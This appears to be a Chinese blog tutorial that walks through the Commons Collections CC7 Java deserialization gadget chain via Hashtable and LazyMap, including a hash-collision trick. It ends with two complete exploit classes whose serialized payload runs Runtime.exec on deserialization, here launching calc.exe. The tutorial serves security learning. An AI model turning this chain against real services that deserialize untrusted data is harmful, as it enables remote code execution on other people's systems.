【Web】Java反序列化之CC7链——Hashtable
目录
链子原理分析(借尸还魂)
如何构造相等hash
又谈为何lazyMap2.remove("yy")
不过真的需要两个LazyMap吗
EXP
双LazyMap exp
HashMap&LazyMap exp
链子原理分析(借尸还魂)
先看Hashtable#readObject
origlength和elements分别是原始数组的长度和元素的数量,最后的key与value就是我们自己构造时用put放进去的,接着调用了reconstitutionPut方法
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the threshold and loadFactors.defaultReadObject();// Validate loadFactor (ignore threshold - it will be re-computed)if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new StreamCorruptedException("Illegal Load: " + loadFactor);// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Validate # of elementsif (elements < 0)throw new StreamCorruptedException("Illegal # of Elements: " + elements);// Clamp original length to be more than elements / loadFactor// (this is the invariant enforced with auto-growth)origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);// Compute new length with a bit of room 5% + 3 to grow but// no larger than the clamped original length. Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)((elements + elements / 20) / loadFactor) + 3;if (length > elements && (length & 1) == 0)length--;length = Math.min(length, origlength);if (length < 0) { // overflowlength = origlength;}// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// sync is eliminated for performancereconstitutionPut(table, key, value);}}
再看Hashtable#reconstitutionPut,这段代码的作用就是往哈希表中添加一个新的键值对,在保证键的唯一性的前提下进行操作,并处理可能的异常情况
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}
这里我们因为开了上帝之眼,已经知道要去调用e.key.equals(key)了,但问题是,当第一次调用Hashtable#reconstitutionPut时,由于这个Hashtable是空的,我们不会进for循环,而是直接向其中存一个KV对,这样也就不能去调e.key.equals(key),显然不能令我们满意。
如何解决这个问题呢?其实很朴素,我们先往Hashtable里存一个KV对,这样第二次存的时候就会进到for循环,从而调用e.key.equals(key)了。
我们调用两次reconstitutionPut,也就是说put两个元素进Hashtable对象,这样elements(元素数量)的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;
ok 进入for循环的事情我们已经解决了,但是想去e.key.equals(key)还得要满足e.hash == hash(&&短路机制你懂的),这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行,这个点我们下面单独来讲。
跟进到LazyMap所extend的AbstractMapDecorator#equals,调用了LazyMap的map的equals方法
public boolean equals(Object object) {return object == this ? true : this.map.equals(object);}
跟进HashMap所extend的AbstractMap#equals方法
public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}
调用了m.get(),而m是根据传入的对象获取的,也就是说如果key传入的也是LazyMap类对象,那么这里就是调用的LazyMap#get,从而为所欲为。 (get后续步骤真不用解释吧)
说一点个人的感想:这里其实颇有借尸还魂的味道在里面,我们利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法来去调用传入Hashtable的第二个LazyMap的get方法,从而完成transformer链的攻击。
如何构造相等hash
解铃还须系铃人,先来看看hash是怎么来的
int hash = key.hashCode();
跟进hashCode方法(这里先从key是String类型的对象开始讲,我知道你很急,但你先别急)
public int hashCode() {int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;}
要注意的是第一步是将变量 h
初始化为实例变量 hash
的值。这个 hash
可能是之前计算得到的哈希码,如果没有则为默认值 0
剩下的其实还是挺好理解的,下面举个例子:
字符串 "hello" 对应的字符数组为 ['h', 'e', 'l', 'l', 'o']。
初始时,h = 0;然后进入条件判断块,开始遍历字符数组:
第一轮循环:h = 31 * 0 + 'h' 的ASCII码值 = 104;
第二轮循环:h = 31 * 104 + 'e' 的ASCII码值 = 3144 + 101 = 3245;
第三轮循环:h = 31 * 3245 + 'l' 的ASCII码值 = 100495 + 108 = 100603;
第四轮循环:h = 31 * 100603 + 'l' 的ASCII码值 = 3118783 + 108 = 3118891;
第五轮循环:h = 31 * 3118891 + 'o' 的ASCII码值 = 96713221 + 111 = 96713332。最终得到的哈希码为 96713332。这个数值作为字符串 "hello" 的哈希码
ok我们的目的是要构造出相同的hash值,我们以'yy'和'zZ'为例,y比z小1,经过第一轮循环后h的差值就差1,在第二轮循环会扩大为31*1,所以我们可以控制第二个字符是y与Z,前面比后面大31刚好抵消了这个差距
众所周知exp里是把LazyMap放Hashtable中的,我们可以先看LazyMap的hashCode方法(extend自AbstractMapDecorator)
public int hashCode() {return this.map.hashCode();}
会调用LazyMap的map的hashCode方法,也就是HashMap的hashCode方法,key与value的分别计算并异或,值我们可以设置的相同,问题是如何让key的hashcode也一致
public final int hashCode() {return Objects.hashCode(key) ^ Objects.hashCode(value);}
跟进Objects的hashCode方法,发现最后调用了传入key的hashCode方法,如果传入的key为String类型,就可以调用String的hashCode方法,也就和上文呼应上了,成功构造相等hash。
public static int hashCode(Object o) {return o != null ? o.hashCode() : 0;}
又谈为何lazyMap2.remove("yy")
先贴出CC6中类似的操作:【Web】Java反序列化之CC6--HashMap版-CSDN博客
Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。导致第二个LazyMap的HashMap中会有两个元素。
Hashtable#put
public synchronized V put(K key, V value) {// Make sure the value is not nullif (value == null) {throw new NullPointerException();}// Makes sure the key is not already in the hashtable.Entry<?,?> tab[] = table;int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;@SuppressWarnings("unchecked")Entry<K,V> entry = (Entry<K,V>)tab[index];for(; entry != null ; entry = entry.next) {if ((entry.hash == hash) && entry.key.equals(key)) {V old = entry.value;entry.value = value;return old;}}addEntry(hash, key, value, index);return null;}
这段其实上面那篇文章里也有写
if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;}
而HashMap所extend的AbstractMap#equals方法中要求两个HashMap中元素个数相同,否则直接return false,所以我们需要先remove一个。
Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;
不过真的需要两个LazyMap吗
虽然yso里是用了两个LazyMap,但其实根本没有必要
关于CC7的分析与思考
我们上面借尸还魂的部分也提到过,第一个LazyMap利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法,那为啥不直接把第一个LazyMap换成HashMap呢,更简洁高雅且本质
EXP
双LazyMap exp
package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap2.remove("yy");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}
HashMap&LazyMap exp
package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map map1 = new HashMap();Map map2 = new HashMap();map1.put("yy", 1);map2.put("zZ", 1);Map lazyMap1 = LazyMap.decorate(map1, transformerChain);Hashtable hashtable = new Hashtable();hashtable.put(map2, 1);hashtable.put(lazyMap1, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap1.remove("zZ");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}
相关文章:
【Web】Java反序列化之CC7链——Hashtable
目录 链子原理分析(借尸还魂) 如何构造相等hash 又谈为何lazyMap2.remove("yy") 不过真的需要两个LazyMap吗 EXP 双LazyMap exp HashMap&LazyMap exp 链子原理分析(借尸还魂) 先看Hashtable#readObject origlength和elements分别是原始数组的长度和元素…...
NumPy数据处理详解的笔记2
NumPy数据处理详解的笔记2 第1章NumPy基础 NumPy是用于处理多维数组的数值运算库,不仅可用于 机器学习,还可以用于图像处理,语言处理等任务。 1.2 多维数据结构ndarray的基础 在学习NumPy的过程中,只要理解了ndarray的相关知识…...

xsslabs第四关
测试 "onclick"alert(1) 这与第三关的代码是一样的,但是每一关考的点是不一样的所以我们看一下源代码 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv"content-type" content"text/html;ch…...

Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写
系列文章目录 提示:这里是该系列文章的所有文章的目录 第一章:Qt下使用ModbusTcp通信协议进行PLC线圈/保持寄存器的读写(32位有符号数) 第二章:Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写 文章目录 系列文章目录…...

C++ 滑动窗口
例1 209. 长度最小的子数组 ①窗口大小不固定 ②求最小长度 -> ret INT_MAX ③数组内的值都大于0, 符合单调性(sum nums[right] -> sum增大) while里面符合条件,在里面更改ret 参考代码 class Solution { public:i…...
【深度学习】TensorFlow基础介绍
TensorFlow 模型 张量、变量共同点:具有形状、类型、值等3个属性。 不同点:变量可被TensorFlow的自动求导机制求导,常被用于机器学习模型的参数。 tfrecord tensorflow定义的数据格式,一种二进制文件格式,用于保存…...

springcloud:3.3测试重试机制
服务提供者【test-provider8001】 Openfeign远程调用服务提供者搭建 文章地址http://t.csdnimg.cn/06iz8 相关接口 测试远程调用:http://localhost:8001/payment/index 服务消费者【test-consumer-resilience4j8004】 Openfeign远程调用消费者搭建 文章地址http:/…...

【笔记】【电子科大 离散数学】 3.谓词逻辑
谓词引入 因为含变量的语句(例如x > 3)不是命题,无法进行逻辑推理。 为了研究简单命题句子内部的逻辑关系,我们需要对简单命题进行分解,利用个体词,谓词和量词来描述它们,并研究个体与总体…...

倍增算法C++
倍增 倍增算法是一种优化算法,通常用于某些需要高效计算指数幂的场景。它基于分治的思想,通过反复求平方来实现快速计算指数幂的目的。在实际应用中,倍增算法经常用于解决最近公共祖先问题、二分查找等。 1、快速幂详解 ksm核心代码 倍增就是…...

uniapp制作--进步器的选择
介绍: 进步器的选择,一般用于商城购物选择物品数量的场景 注意:该输入框只能输入大于或等于0的整数 效果展示: 代码展示: 以下是一个简单的购物车页面示例,包括选择商品和显示数量的功能: 在这个示例中…...
前端高频面试--查缺补漏篇
什么是进程和线程,有什么区别 进程:进程是程序的一次执行过程,是动态的过程,有自身产生、存在、消亡的过程。 线程:线程由进程创建,是进程的一个实体。一个进程可以拥有多个线程。 举个例子:…...
【计算机学习】-- 网页视频加速
系列文章目录 文章目录 系列文章目录前言一、开发者选项二、定义和用法1.基础语法:2.什么是uncaught TypeError:Cannot read properties of null? 二、开发者工具面板:1.Elements面板:2.Console面板: 总结 前言 一、开发者选项 …...
系统运维-Linux配置C、C++、Go语言编译环境
C yum install gcc -y #安装gcc编译器 gcc --version #验证环境gcc (GCC) 11.3.1 20221121 (Red Hat 11.3.1-4) Copyright (C) 2021 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even f…...

【设计模式】(二)设计模式六大设计原则
一、 设计原则概述 设计模式中主要有六大设计原则,简称为SOLID ,是由于各个原则的首字母简称合并的来(两个L算一个,solid 稳定的),六大设计原则分别如下: 1、单一职责原则(Single Responsibitity Principle&#…...
go-zero官网
go-zero 是一个集成了各种工程实践的 web 和 rpc 框架。通过弹性设计保障了大并发服务端的稳定性,经受了充分的实战检验。 go-zero官网:go-zero 缩短从需求到上线的距离...
Redis的应用场景以及常见问题(持续更新)
一、使用场景 1,在大型的秒杀库存扣减,app首页流量高峰,很容易将传统的关系型数据库(mysql,oracle等)给压垮 2,还有很多没必要持久化的数据,比如说短信验证码,点赞数等 3,…...
前端添加压缩包内文件名称校验
1. tar包内文件名称校验 1. 读取tar包内所有的文件名称 export class TarReader {fileInfo: any[]buffer: string | ArrayBufferconstructor() {this.fileInfo []}readFile(file) {return new Promise(resolve > {const reader new FileReader()reader.onload event &g…...

redis02 安装
官网下载 传送门https://redis.io/download/#redis-downloads 安装Redis mac m1安装 下载你需要版本的软件包放到指定的目录下进行解压 cd 到解压好的redis目录 运行下面的命令进行编译测试 sudo make test 中途可能会提示你安装make工具,按提示安装即可&…...
#QT(QT时钟)
1.IDE:QTCreator 2.实验 3.记录 qtime(qt的时间类) qtimer(qt的定时类) 4.代码 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTime> // #include <QTimer&g…...
T-RAG:结合实体检测的增强检索生成模型
内容摘要: T-RAG是一种新的大型语言模型(LLM)应用框架,在保证数据隐私的同时,提高了对私有企业文档的问答系统性能。T-RAG通过结合已有的增强检索生成(RAG)框架、自定义的开源语言模型以及一个实…...

多模态2025:技术路线“神仙打架”,视频生成冲上云霄
文|魏琳华 编|王一粟 一场大会,聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中,汇集了学界、创业公司和大厂等三方的热门选手,关于多模态的集中讨论达到了前所未有的热度。其中,…...

51c自动驾驶~合集58
我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留,CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制(CCA-Attention),…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...
相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...
大学生职业发展与就业创业指导教学评价
这里是引用 作为软工2203/2204班的学生,我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要,而您认真负责的教学态度,让课程的每一部分都充满了实用价值。 尤其让我…...
C++八股 —— 单例模式
文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全(Thread Safety) 线程安全是指在多线程环境下,某个函数、类或代码片段能够被多个线程同时调用时,仍能保证数据的一致性和逻辑的正确性…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...

AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...

基于 TAPD 进行项目管理
起因 自己写了个小工具,仓库用的Github。之前在用markdown进行需求管理,现在随着功能的增加,感觉有点难以管理了,所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD,需要提供一个企业名新建一个项目&#…...